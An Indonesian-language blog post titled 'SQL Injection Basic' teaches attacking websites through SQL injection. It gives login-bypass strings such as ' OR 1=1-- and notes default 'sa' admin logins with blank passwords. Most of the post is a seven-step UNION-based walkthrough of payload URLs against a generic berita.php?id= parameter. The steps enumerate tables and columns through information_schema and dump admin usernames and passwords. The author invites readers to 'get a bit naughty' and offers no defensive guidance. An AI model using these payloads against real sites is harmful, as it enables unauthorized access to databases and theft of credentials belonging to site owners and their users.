SQL Injection Basic

SQL (Structured Query Language) adalah sebuah bahasa yang dipergunakan untuk mengakses data dalam basis data relasional. Bahasa ini secara de facto merupakan bahasa standar yang digunakan dalam manajemen basis data relasional. Saat ini hampir semua server basis data yang ada mendukung bahasa ini untuk melakukan manajemen datanya. Perintah yang umum dilakukan adalah:
•   SELECT untuk menampilkan data
•   INSERT untuk menambahkan data baru
•   UPDATE untuk mengubah data yang sudah ada
•   DELETE untuk menghapus data
Karena hampir semua program yang ada memakai SQL sebagai database, maka “attacker” biasanya memanfaatkan kelemahan pada sistem ini.

SQL INJECTION
Sql injection merupakan salah satu tekhnik penyerangan pada bug SQL. Secara dasar sql injection adalah memasukan (inject) perintah sql pada suatu statement Sql yang ada pada sistem yang berjalan. Pada dasarnya hal ini terjadi karena programer tidak menyaring (filter) karakter yang dapat di input seperti double minus (–),single quote ('), kesahan pemanggilan sql pada coding program, sehingga attacker dapat memasukan perintah sql untuk menembus sitem pertahanan.

Default Setting SQL

Seperti yang kita ketahui bahwa tehnik SQL injection ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account. Salah satunya yaitu default setting SQL.Default setting SQL yang paling berbahaya adalah menggunakan adminID = sa dan password blank alias (kosong), apabila ada direktori sebuah situs yang disitu ada input untuk adminnya maka kalau kita isi id-nya dengan = 'sa' dan passwordnya =' ' maka kita langsung masuk sebagai admin, ini kalau default setting-nya belum diubah. Namun ada lagi string yang bisa kita input untuk akses sebagai web admin yaitu dengan string ' OR 1=1-- apabila ada input web admin yang input box-nya adalah User dan Password maka apabila kita masukan string ' OR 1=1-- di input box user dan masukan foobar di input box password, maka akan membuat SQL query-nya bingung diakibatkan jadi  SQL Query membacanya sebagai:

SELECT * from users where User ='' or 1=1-- and Password ='foobar'

yang artinya sqlnya men-SELECT semua query dari user yang user-nya '' (kosong) atau (OR) 1=1 (true) -- (tanda -- adalah mark dari  SQL seperti halnya di C/C++ marknya // atau /*)
Jadi kalau diuraikan logikanya adalah bahwa  SQL-nya menganggap 1=1 sebagai true sehingga kolom itu di-bypass lalu kolom password-nya diabaikan karena setelah 1=1 terdapat mark SQL ( -- ), sehingga password itupun diabaikan. Lalu apakah hanya itu string-nya dalam menginjeksi sebuah situs? Tentu saja tidak. Inti dari injeksi dalam langkah awalnya adalah memaksa keluar sebuah error page yang berisi informasi struktur database situs itu dan kalau kita ingin melihatnya kita harus men-debug-nya. Jadi yang kita masukkan adalah string debugging SQL code, yaitu ' having 1=1-- , ini adalah string yang harus dimasukkan kalau kita ingin melihat error page dari situs sasaran.
Sehingga dapat dikatakan bahwa teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account. Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database. Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.


Dah sediki tmengerti khan??

nah hayo mulai nakalnya sedikit,,

TEKHNIK SQL INJECTION
Disini kita akan mengenal lebih dekat tekhnik SQL Injection pada sebuah sistem. Jika dalam sebuah website dimana ketika dimasukan special karakter seperti singgle quote (') mengalami error maka website tersebut dikatakan memiliki vulnerbilitas (vuln).
INJECTION SQL versi 5
Pada SQL versi ini value dapat di tampilkan melalui pemanggilan pada syntac SQL
Contoh :

==========
=step Satu:=
==========

[site]/berita.php?id=100’
 (ditambahkan single quote) mengalami error maka sistem tersebut dapat di explore
==========
=step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by

contoh:


[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)...
contoh:


[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--

sehingga muncul error atau hilang pesan error...
contoh:
[site]/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8
menjadi :
[site]/berita.php?id=-100+order+by+8--


===========
=step Tiga:=
===========

Untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka:
[site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

Kita anggap yang keluar angka 5

gunakan perintah “version()” atau “@@version” untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal:
[site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..


============
=step Empat:=
============

Untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi perintah +from+information_schema.tables-- >>> dimasukan setelah angka terakhir



Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

Kita anggap table yang muncul adalah "admin"


===========
=step Lima:=
===========

Untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database()-- >>> dimasukan setelah angka terakhir



[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--

=============
= step Enam: =
=============

Perintah group_concat(column_name) >>> dimasukan pada angka yang sebelumnya
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir



[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0xhexa--

Pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :

http://www.v3n0m.net/ascii.htm
Banyak juga tools yang dapat mengkonversi bilangan hexa ini. Contoh : hexeditor, hex calculator, dll

Contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E



[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0x61646D696E--

============
=step Tujuh:=
============

Memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

Perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

Contoh :

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--

contoh kata yang keluar adalah id,username,password

Contoh :

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--

Sampai disini kita sudah mendapatkan isi dari database yang kita inginkan.



seep ya,, inget a ini untuk versi 5, untuk versi 4 berbeda metode,

nanti shared lagi deh kalo ada waktunya,,


Semoga membantu

0 Response to "SQL Injection Basic"